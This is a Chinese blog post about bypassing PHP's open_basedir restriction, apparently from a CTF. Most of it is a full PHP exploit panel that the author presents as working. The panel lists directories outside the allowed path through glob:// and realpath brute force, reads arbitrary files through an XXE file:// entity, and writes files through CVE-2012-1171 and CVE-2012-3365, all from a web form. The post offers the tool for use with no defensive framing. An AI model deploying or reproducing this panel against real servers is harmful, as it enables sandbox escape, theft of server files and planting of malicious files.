绕过open_basedir读文件脚本
绕过open_basedir读文件脚本
参加了一场2016年的sycsec感觉又学到不少东西
废话不多说,首先啥是open_basedir?
open_basedir: 将用户可操作的文件限制在某目录下
具体的设置方法可以参考:http://blog.csdn.net/white__cat/article/details/32734343
这样设置之后,原则上被限制之外的目录是无法读写文件的,但是有一个漏洞却打破了这个限制
参考p牛的文章:https://www.leavesongs.com/bypass-open-basedir-readfile.html
但是p牛给的脚本报错,老是读不到文件,这里我在比赛服务器里面找到一个神器的脚本可以成功,下面是那个神奇的php:
- <?php
- /*
- PHP open_basedir bypass collection
- Works with >= PHP5
- By /fd, @filedescriptor(https://twitter.com/filedescriptor)
- */
- // Assistant functions
- function getRelativePath($from, $to) {
- // some compatibility fixes for Windows paths
- $from = rtrim($from, '\/') . '/';
- $from = str_replace('\\', '/', $from);
- $to = str_replace('\\', '/', $to);
- $from = explode('/', $from);
- $to = explode('/', $to);
- $relPath = $to;
- foreach ($from as $depth => $dir) {
- // find first non-matching dir
- if ($dir === $to[$depth]) {
- // ignore this directory
- array_shift($relPath);
- } else {
- // get number of remaining dirs to $from
- $remaining = count($from) - $depth;
- if ($remaining > 1) {
- // add traversals up to first matching dir
- $padLength = (count($relPath) + $remaining - 1) * -1;
- $relPath = array_pad($relPath, $padLength, '..');
- break;
- } else {
- $relPath[0] = './' . $relPath[0];
- }
- }
- }
- return implode('/', $relPath);
- }
- function fallback($classes) {
- foreach ($classes as $class) {
- $object = new $class;
- if ($object->isAvailable()) {
- return $object;
- }
- }
- return new NoExploit;
- }
- // Core classes
- interface Exploitable {
- function isAvailable();
- function getDescription();
- }
- class NoExploit implements Exploitable {
- function isAvailable() {
- return true;
- }
- function getDescription() {
- return 'No exploit is available.';
- }
- }
- abstract class DirectoryLister implements Exploitable {
- var $currentPath;
- function isAvailable() {}
- function getDescription() {}
- function getFileList() {}
- function setCurrentPath($currentPath) {
- $this->currentPath = $currentPath;
- }
- function getCurrentPath() {
- return $this->currentPath;
- }
- }
- class GlobWrapperDirectoryLister extends DirectoryLister {
- function isAvailable() {
- return stripos(PHP_OS, 'win') === FALSE && in_array('glob', stream_get_wrappers());
- }
- function getDescription() {
- return 'Directory listing via glob pattern';
- }
- function getFileList() {
- $file_list = array();
- // normal files
- $it = new DirectoryIterator("glob://{$this->getCurrentPath()}*");
- foreach ($it as $f) {
- $file_list[] = $f->__toString();
- }
- // special files (starting with a dot(.))
- $it = new DirectoryIterator("glob://{$this->getCurrentPath()}.*");
- foreach ($it as $f) {
- $file_list[] = $f->__toString();
- }
- sort($file_list);
- return $file_list;
- }
- }
- class RealpathBruteForceDirectoryLister extends DirectoryLister {
- var $characters = 'abcdefghijklmnopqrstuvwxyz0123456789-_'
- , $extension = array()
- , $charactersLength = 38
- , $maxlength = 3
- , $fileList = array();
- function isAvailable() {
- return ini_get('open_basedir') && function_exists('realpath');
- }
- function getDescription() {
- return 'Directory listing via brute force searching with realpath function.';
- }
- function setCharacters($characters) {
- $this->characters = $characters;
- $this->charactersLength = count($characters);
- }
- function setExtension($extension) {
- $this->extension = $extension;
- }
- function setMaxlength($maxlength) {
- $this->maxlength = $maxlength;
- }
- function getFileList() {
- set_time_limit(0);
- set_error_handler(array(__CLASS__, 'handler'));
- $number_set = array();
- while (count($number_set = $this->nextCombination($number_set, 0)) <= $this->maxlength) {
- $this->searchFile($number_set);
- }
- sort($this->fileList);
- return $this->fileList;
- }
- function nextCombination($number_set, $length) {
- if (!isset($number_set[$length])) {
- $number_set[$length] = 0;
- return $number_set;
- }
- if ($number_set[$length] + 1 === $this->charactersLength) {
- $number_set[$length] = 0;
- $number_set = $this->nextCombination($number_set, $length + 1);
- } else {
- $number_set[$length]++;
- }
- return $number_set;
- }
- function searchFile($number_set) {
- $file_name = 'a';
- foreach ($number_set as $key => $value) {
- $file_name[$key] = $this->characters[$value];
- }
- // normal files
- realpath($this->getCurrentPath() . $file_name);
- // files with preceeding dot
- realpath($this->getCurrentPath() . '.' . $file_name);
- // files with extension
- foreach ($this->extension as $extension) {
- realpath($this->getCurrentPath() . $file_name . $extension);
- }
- }
- function handler($errno, $errstr, $errfile, $errline) {
- $regexp = '/File(.∗)(.∗) is not within/';
- preg_match($regexp, $errstr, $matches);
- if (isset($matches[1])) {
- $this->fileList[] = $matches[1];
- }
- }
- }
- abstract class FileWriter implements Exploitable {
- var $filePath;
- function isAvailable() {}
- function getDescription() {}
- function write($content) {}
- function setFilePath($filePath) {
- $this->filePath = $filePath;
- }
- function getFilePath() {
- return $this->filePath;
- }
- }
- abstract class FileReader implements Exploitable {
- var $filePath;
- function isAvailable() {}
- function getDescription() {}
- function read() {}
- function setFilePath($filePath) {
- $this->filePath = $filePath;
- }
- function getFilePath() {
- return $this->filePath;
- }
- }
- // Assistant class for DOMFileWriter & DOMFileReader
- class StreamExploiter {
- var $mode, $filePath, $fileContent;
- function stream_close() {
- $doc = new DOMDocument;
- $doc->strictErrorChecking = false;
- switch ($this->mode) {
- case 'w':
- $doc->loadHTML($this->fileContent);
- $doc->removeChild($doc->firstChild);
- $doc->saveHTMLFile($this->filePath);
- break;
- default:
- case 'r':
- $doc->resolveExternals = true;
- $doc->substituteEntities = true;
- $doc->loadXML("<!DOCTYPE doc [<!ENTITY file SYSTEM \"file://{$this->filePath}\">]><doc>&file;</doc>", LIBXML_PARSEHUGE);
- echo $doc->documentElement->firstChild->nodeValue;
- }
- }
- function stream_open($path, $mode, $options, &$opened_path) {
- $this->filePath = substr($path, 10);
- $this->mode = $mode;
- return true;
- }
- public function stream_write($data) {
- $this->fileContent = $data;
- return strlen($data);
- }
- }
- class DOMFileWriter extends FileWriter {
- function isAvailable() {
- return extension_loaded('dom') && (version_compare(phpversion(), '5.3.10', '<=') || version_compare(phpversion(), '5.4.0', '='));
- }
- function getDescription() {
- return 'Write to and create a file exploiting CVE-2012-1171 (allow overriding). Notice the content should be in well-formed XML format.';
- }
- function write($content) {
- // set it to global resource in order to trigger RSHUTDOWN
- global $_DOM_exploit_resource;
- stream_wrapper_register('exploit', 'StreamExploiter');
- $_DOM_exploit_resource = fopen("exploit://{$this->getFilePath()}", 'w');
- fwrite($_DOM_exploit_resource, $content);
- }
- }
- class DOMFileReader extends FileReader {
- function isAvailable() {
- return extension_loaded('dom') && (version_compare(phpversion(), '5.3.10', '<=') || version_compare(phpversion(), '5.4.0', '='));
- }
- function getDescription() {
- return 'Read a file exploiting CVE-2012-1171. Notice the content should be in well-formed XML format.';
- }
- function read() {
- // set it to global resource in order to trigger RSHUTDOWN
- global $_DOM_exploit_resource;
- stream_wrapper_register('exploit', 'StreamExploiter');
- $_DOM_exploit_resource = fopen("exploit://{$this->getFilePath()}", 'r');
- }
- }
- class SqliteFileWriter extends FileWriter {
- function isAvailable() {
- return is_writable(getcwd())
- && (extension_loaded('sqlite3') || extension_loaded('sqlite'))
- && (version_compare(phpversion(), '5.3.15', '<=') || (version_compare(phpversion(), '5.4.5', '<=') && PHP_MINOR_VERSION == 4));
- }
- function getDescription() {
- return 'Create a file with custom content exploiting CVE-2012-3365 (disallow overriding). Junk contents may be inserted';
- }
- function write($content) {
- $sqlite_class = extension_loaded('sqlite3') ? 'sqlite3' : 'SQLiteDatabase';
- mkdir(':memory:');
- $payload_path = getRelativePath(getcwd() . '/:memory:', $this->getFilePath());
- $payload = str_replace('\'', '\'\'', $content);
- $database = new $sqlite_class(":memory:/{$payload_path}");
- $database->exec("CREATE TABLE foo (bar STRING)");
- $database->exec("INSERT INTO foo (bar) VALUES ('{$payload}')");
- $database->close();
- rmdir(':memory:');
- }
- }
- // End of Core
- ?>
- <?php
- $action = isset($_GET['action']) ? $_GET['action'] : '';
- $cwd = isset($_GET['cwd']) ? $_GET['cwd'] : getcwd();
- $cwd = rtrim($cwd, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
- $directorLister = fallback(array('GlobWrapperDirectoryLister', 'RealpathBruteForceDirectoryLister'));
- $fileWriter = fallback(array('DOMFileWriter', 'SqliteFileWriter'));
- $fileReader = fallback(array('DOMFileReader'));
- $append = '';
- ?>
- <style>
- #panel {
- height: 200px;
- overflow: hidden;
- }
- #panel > pre {
- margin: 0;
- height: 200px;
- }
- </style>
- <div id="panel">
- <pre id="dl">
- open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span>
- <form style="display:inline-block" action="">
- <fieldset><legend>Directory Listing:</legend>Current Directory: <input name="cwd" size="100" value="<?php echo $cwd; ?>"><input type="submit" value="Go">
- <?php if (get_class($directorLister) === 'RealpathBruteForceDirectoryLister'): ?>
- <?php
- $characters = isset($_GET['characters']) ? $_GET['characters'] : $directorLister->characters;
- $maxlength = isset($_GET['maxlength']) ? $_GET['maxlength'] : $directorLister->maxlength;
- $append = "&characters={$characters}&maxlength={$maxlength}";
- $directorLister->setMaxlength($maxlength);
- ?>
- Search Characters: <input name="characters" size="100" value="<?php echo $characters; ?>">
- Maxlength of File: <input name="maxlength" size="1" value="<?php echo $maxlength; ?>">
- <?php endif;?>
- Description : <strong><?php echo $directorLister->getDescription(); ?></strong>
- </fieldset>
- </form>
- </pre>
- <?php
- $file_path = isset($_GET['file_path']) ? $_GET['file_path'] : '';
- ?>
- <pre id="rf">
- open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span>
- <form style="display:inline-block" action="">
- <fieldset><legend>Read File :</legend>File Path: <input name="file_path" size="100" value="<?php echo $file_path; ?>"><input type="submit" value="Read">
- Description: <strong><?php echo $fileReader->getDescription(); ?></strong><input type="hidden" name="action" value="rf">
- </fieldset>
- </form>
- </pre>
- <pre id="wf">
- open_basedir: <span style="color: red"><?php echo ini_get('open_basedir') ? ini_get('open_basedir') : 'Off'; ?></span>
- <form style="display:inline-block" action="">
- <fieldset><legend>Write File :</legend>File Path : <input name="file_path" size="100" value="<?php echo $file_path; ?>"><input type="submit" value="Write">
- File Content: <textarea cols="70" name="content"></textarea>
- Description : <strong><?php echo $fileWriter->getDescription(); ?></strong><input type="hidden" name="action" value="wf">
- </fieldset>
- </form>
- </pre>
- </div>
- <a href="#dl">Directory Listing</a> | <a href="#rf">Read File</a> | <a href="#wf">Write File</a>
- <hr>
- <pre>
- <?php if ($action === 'rf'): ?>
- <plaintext>
- <?php
- $fileReader->setFilePath($file_path);
- echo $fileReader->read();
- ?>
- <?php elseif ($action === 'wf'): ?>
- <?php
- if (isset($_GET['content'])) {
- $fileWriter->setFilePath($file_path);
- $fileWriter->write($_GET['content']);
- echo 'The file should be written.';
- } else {
- echo 'Something goes wrong.';
- }
- ?>
- <?php else: ?>
- <ol>
- <?php
- $directorLister->setCurrentPath($cwd);
- $file_list = $directorLister->getFileList();
- $parent_path = dirname($cwd);
- echo "<li><a href='?cwd={$parent_path}{$append}#dl'>Parent</a></li>";
- if (count($file_list) > 0) {
- foreach ($file_list as $file) {
- echo "<li><a href='?cwd={$cwd}{$file}{$append}#dl'>{$file}</a></li>";
- }
- } else {
- echo 'No files found. The path is probably not a directory.';
- }
- ?>
- </ol>
- <?php endif;?>
绕过open_basedir读文件脚本的更多相关文章
- php5全版本绕过open_basedir读文件脚本
这是前段时间写的代码了(http://www.weibo.com/1074745063/ByAPqj7s0),最近一直忙着和几个同学一起做非安全类的创业项目.所以也没拿到JAE.SAE测试一下. 不说 ...
- [转] Bash脚本:怎样一行行地读文件(最好和最坏的方法)
用bash脚本读文件的方法有很多.请看第一部分,我使用了while循环及其后的管道命令(|)(cat $FILE | while read line; do … ),并在循环当中递增 i 的值,最后, ...
- php绕过open_basedir设置
原理关于open_basedir open_basedir是php.ini中的一个配置选项 它可将用户访问文件的活动范围限制在指定的区域, 假设open_basedir=/home/ ...
- GoLang几种读文件方式的比较
GoLang提供了很多读文件的方式,一般来说常用的有三种.使用Read加上buffer,使用bufio库和ioutil 库. 那他们的效率如何呢?用一个简单的程序来评测一下: package main ...
- Python之路 day2 按行读文件
#1. 最基本的读文件方法: # File: readline-example-1.py file = open("sample.txt") while 1: line = fil ...
- LoadRunner下载文件脚本
LoadRunner下载文件脚本 在看普泽关于pezybase的测试报告的时候,发现里面有用到jmeter(http协议)并发测试下载文件,考虑到后面可能需要在公司pezybase的并发下载,把之前 ...
- java的读文件操作
java读取文件内容,可以作如下理解: 首先获得一个文件句柄,File file = new File():file即为文件句柄.两人之间联通电话网络了,就可以开始打电话了. 通过这条线路读取甲方的信 ...
- PHP使用feof()函数读文件的方法
这篇文章主要介绍了PHP使用feof()函数读文件的方法,以实例形式对比了正确与错误的用法,阐明了feof()函数的使用技巧,需要的朋友可以参考下 本文实例讲述了PHP使用feof()函数读文件的方法 ...
- Java基础之读文件——使用输入流读取二进制文件(StreamInputFromFile)
控制台程序,读取Java基础之读文件部分(StreamOutputToFile)写入的50个fibonacci数字. import java.nio.file.*; import java.nio.* ...
随机推荐
- struts2入门(搭建环境、配置、示例)
转自:https://blog.csdn.net/u012862311/article/details/53412716 1.下载Struts2的jar包 下载地址:http://archive.ap ...
- django 笔记7 多对多
多对多 方法一 :双外键关联 自定义关系表 自定义 class Host(models.Model): nid = models.AutoField(primary_key=True) hostnam ...
- Oozie框架基础
* Oozie框架基础 官方文档地址:http://oozie.apache.org/docs/4.0.0/DG_QuickStart.html 除Oozie之外,类似的框架还有: ** Zeus:h ...
- Matlab函数编译成dll供c调用
一 编译dll 在Command Window窗口中输入mbuild -setup,然后会出现语句,是否安装编译器,选择n,因为机子上已经安装了C/C++/C#的编译器,选择VS2010.
- c# protected public private internal
1 internal 只能在一个项目中引用,不能跨项目引用,只有在同一程序集的文件中 2 public 最高级别的访问权限 对访问公共成员没有限制 3 private 最低级别的访问权限 只能在声明它 ...
- webpack的理解
webpack是一个模块打包工具,你可以使用webpack管理你的模块依赖,并编译输出模块们所需要的静态文件.它能够很好的管理.打包Web开发中所用到的HTML.Javascript.CSS以及各种静 ...
- JavaScript笔记(1)
JS前导: ECMA欧洲计算机制造者协会 ECMA-262 (ES5规范) ECMA-404(Json规范) wsc定义HTML.CSS.DOM规范 计算机程序分为: cpu密集(用于计算) I/O密 ...
- luogu-1908 逆序对 离散化+树状数组
题目链接:https://www.luogu.org/problem/show?pid=P1908 题意 简单的求逆序对 思路 用树状数组来做逆序对 对于过大的数字来讲,用离散化处理即可 比赛的时候没 ...
- 解决HMC在IE浏览器无法登录的问题(Java Applet的使用问题)
管理IBM的小型机必须要用到HMC(Hardware Management Console),有时候在使用测试环境使用的时候我们会把HMC装到自己电脑上的虚拟机里面,然后管理小型机,但是在虚拟机里面使 ...
- Android编译环境配置
Android编译环境配置 网上关于Android编译环境配置的整理资料有不少,经整理亲测后,希望能给需要的亲们提供帮助. 主要分为四步: 1.安装JDK(Java Standard Edition ...